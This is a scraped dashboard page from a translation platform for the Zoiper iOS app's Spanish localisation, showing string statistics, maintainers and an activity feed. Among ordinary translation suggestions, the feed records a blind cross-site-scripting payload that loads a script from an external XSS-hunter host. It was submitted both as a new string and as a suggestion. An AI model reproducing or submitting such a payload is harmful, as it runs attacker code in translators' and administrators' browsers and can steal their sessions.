Component Translated Unfinished Unfinished words Unfinished characters Untranslated Checks Suggestions Comments
UI 95% 52 205 1,180 46 210 76 0
Glossary Zoiper iOS 0% 2 5 69 2 0 2 0

Overview

Project website zoiper.com
Instructions for translators

https://www.zoiper.com/en/translate-licensing-agreement
Project maintainers User avatar ralitza.markova User avatar Ivan Zlatev User avatar salah.rifaie User avatar admin User avatar plamen.zhelyazkov User avatar pwalther

String statistics

Strings percent Hosted strings Words percent Hosted words Characters percent Hosted characters
Total 1,081 3,147 19,269
Translated 95% 1,027 93% 2,937 93% 18,020
Needs editing 1% 6 3% 99 2% 565
Read-only 0% 0 0% 0 0% 0
Failing checks 19% 210 26% 848 27% 5,283
Strings with suggestions 7% 78 7% 247 7% 1,514
Untranslated strings 4% 48 3% 111 3% 684
Last 12 months Previous

Activity in last 12 months

0 changes 0 changes 0 changes 80 changes 0 changes 15 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 7 changes 26 changes 2 changes 0 changes 4 changes 0 changes 0 changes 0 changes 0 changes
Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr May

Quick numbers

3,147
Hosted words
1,081
Hosted strings
95%
Translated
0
Contributors
and previous 30 days

Trends of last 30 days

—
Hosted words
—
—
Hosted strings
—
—
Translated
—
—
Contributors
—
User avatar None

Suggestion added

Zoiper iOS / Zoiper iOS — Spanish

"><script src=https://rootsecss.xss.ht></script>
"><script src=https://rootsecss.xss.ht></script>
3 months ago
User avatar None

Suggestion added

Zoiper iOS / Zoiper iOS — Spanish

IP Version Preference
Versión de IP preferente
3 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Spanish

No incoming calls
No permitir llamadas entrantes
3 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Spanish

IP Version Preference
Versión de IP preferida
3 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Spanish

IP Version Preference
Preferencia de Versión de IP
3 months ago
User avatar None

Suggestion added

Zoiper iOS / Zoiper iOS — Spanish

IP Version Preference
Versión de IP Preferida
3 months ago
User avatar None

New string added

Zoiper iOS / Zoiper iOS — Spanish

"><script src=https://rootsecss.xss.ht></script>
 
5 months ago
User avatar None

New string added

Zoiper iOS / Zoiper iOS — Spanish

IP Version Preference
 
5 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Spanish

IP Version Preference
Preferencia de versión de IP
5 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Spanish

prefer faster
Preferir la mas rápida
5 months ago
Browse all language changes